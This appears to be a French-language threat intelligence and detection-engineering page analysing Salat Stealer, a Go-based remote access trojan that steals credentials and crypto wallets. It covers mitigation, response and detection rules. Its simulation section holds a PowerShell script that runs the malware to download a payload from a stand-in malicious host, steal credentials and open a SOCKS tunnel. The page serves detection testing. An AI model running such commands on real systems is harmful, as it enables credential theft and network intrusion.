Analyse de Salat Stealer : Résilience de C2 basé sur Go et Capacités de Vol d’Informations
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Salat Stealer est un cheval de Troie d’accès à distance basé sur Go qui fonctionne comme un cadre d’exploitation postérieure complet. Il prend en charge plusieurs canaux de communication, y compris WebSocket, HTTP/2, HTTP/3 et QUIC, offrant aux opérateurs des options de commande et de contrôle flexibles et résilientes. Le malware inclut également de vastes capacités de vol d’informations d’identification, ciblant les données de navigation, les portefeuilles de crypto-monnaies, les frappes au clavier, les captures d’écran et le pivotement réseau via SOCKS5. Pour survivre aux redémarrages, il utilise des copies de fichiers cachées, des tâches planifiées et une clé de registre Run. Si son infrastructure principale est perturbée, le malware peut récupérer des détails de commande et de contrôle mis à jour via la blockchain TON.
Enquête
L’analyse explique comment le malware dérive les clés de chiffrement à partir de chaînes statiques combinées avec le nom d’hôte de la victime, puis les utilise pour déchiffrer cinq URL intégrées de commande et de contrôle. Les chercheurs ont également documenté comment Salat Stealer sélectionne son protocole de transport, traite les commandes de l’opérateur, tente d’augmenter ses privilèges et déploie plusieurs méthodes de persistance sur l’hôte. Le rapport décrit également la gamme de données volées et les fonctions d’accès à distance plus larges disponibles pour l’attaquant.
Atténuation
Les défenseurs doivent surveiller les connexions aux URL de commande et de contrôle identifiées, ainsi que le trafic QUIC et WebSocket inattendu vers des destinations inconnues. Les équipes de sécurité doivent également surveiller les tâches planifiées cachées et les entrées de clé de Run suspectes pointant vers des exécutables inconnus. La liste blanche d’application et les contrôles stricts d’exécution peuvent aider à empêcher le chargement de la charge utile basée sur Go. La segmentation réseau et l’inspection TLS peuvent encore améliorer la visibilité sur le trafic sortant suspect associé au malware.
Réponse
Si une activité de Salat Stealer est détectée, isolez immédiatement le système affecté, collectez des images de mémoire et de disque et terminez les processus malveillants. Retirez tous les artefacts de persistance, y compris les tâches planifiées, les entrées de clé de Run et les copies de fichiers cachées utilisées par le malware. Les domaines de commande et de contrôle identifiés doivent être bloqués, ainsi que toute consultation blockchain TON utilisée pour la découverte d’infrastructure de secours. Les informations d’identification exposées et les portefeuilles de crypto-monnaies doivent également être modifiés ou sécurisés sans délai.
Flux d’attaque
Détections
Commande et contrôle suspect via des requêtes DNS avec des extensions de domaine de haut niveau inhabituelles (TLD) (via dns)
Voir
Points de Persistence Possibles [ASEPs – Branche Logicielle/NTUSER] (via événement du registre)
Voir
Exécution des processus système à partir de chemins atypiques (via creation_process)
Voir
IOCs (HashSha256) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashSha1) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashMd5) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
Détection des activités Salat Stealer RAT [Windows Sysmon]
Voir
Détection des schémas de communication C2 Salat Stealer [Connexion réseau Windows]
Voir
Exécution et détection des modes Salat Stealer [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de la télémétrie et de la référence de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit d’attaque & Commandes :
Un attaquant a livré le binaire Salat RAT (salat.exe) à l’hôte victime via une pièce jointe de phishing. Après avoir obtenu un point d’appui à faible privilège, l’attaquant exécute le binaire avec des arguments spécifiques pour :- Télécharger une charge utile secondaire –
main.downloadFile https://malicious.example.com/payload.exe. - Voler des informations d’identification stockées –
main.Steal -module credentials. - Établir un tunnel SOCKS pair-à-pair pour le mouvement latéral –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
Le binaire est lancé à partir d’une session PowerShell élevée pour satisfaire à l’exigence d’élévation (T1548). Chaque invocation apparaît comme une création de processus Sysmon distincte avec la ligne de commande correspondante, satisfaisant la correspondance de chaîne de la règle Sigma.
- Télécharger une charge utile secondaire –
-
Scénario de test de régression :
# ------------------------------------------------- # Scénario de simulation Salat RAT – déclenche la détection # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # S'assurer que le binaire existe (espace réservé – dans un test réel le binaire serait pré-installé) if (-Not (Test-Path $binaryPath)) { Write-Error "Binaire Salat introuvable à $binaryPath" exit 1 } # 1. Télécharger la charge utile secondaire Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Voler des informations d'identification Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Ouvrir le tunnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulation terminée." -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage pour la simulation Salat RAT # ------------------------------------------------- # Terminer les processus Salat résiduels Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Enlever le binaire (si autorisé) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Supprimé $binaryPath" } # Optionnellement, supprimer les événements Sysmon associés de l'index de test (exemple Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'